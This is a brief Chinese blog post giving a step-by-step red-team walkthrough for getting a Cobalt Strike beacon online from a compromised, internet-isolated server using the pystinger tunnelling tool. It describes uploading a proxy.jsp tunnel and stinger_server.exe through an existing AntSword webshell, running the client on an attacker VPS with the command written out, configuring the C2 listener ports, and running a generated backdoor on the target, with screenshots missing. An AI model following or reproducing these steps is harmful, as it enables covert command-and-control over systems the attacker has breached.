pystinger实现不出网情况下,上线CS的方式

某hw过程中遇到如下情况:

获取到webshell,目标服务器不出网

目标机:内网地址,端口映射到公网ip
vps:
在这里插入图片描述

pystinger地址:

https://github.com/FunnyWolf/pystinger
python3 -m pip install  -r  requirement.txt

目标机操作:

1、proxy.jsp上传到目标服务器,确保http://example.com:8080/proxy.jsp可以访问
,页面返回UTF-8
2、stinger_server.exe上传到目标服务器,
AntSword运行cmdstart D:/XXX/stinger_server.exe启动pystinger-server
不要D:/xxx/singer_server.exe直接运行,会造成TCP断开

互联网微PS操作:

3、python3 ./stinger_client.py -w 
http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000

在这里插入图片描述
CS监听器配置

HTTP Hosts:127.0.0.1
HTTP Hosts(stager):目标及内网ip
HTTP Port(C2):60020

在这里插入图片描述
s生成后门在目标机运行
在这里插入图片描述

 
posted @ 2023-04-25 12:19  那酒不要留  阅读(92)  评论(0编辑  收藏  举报
/* 雪花特效 */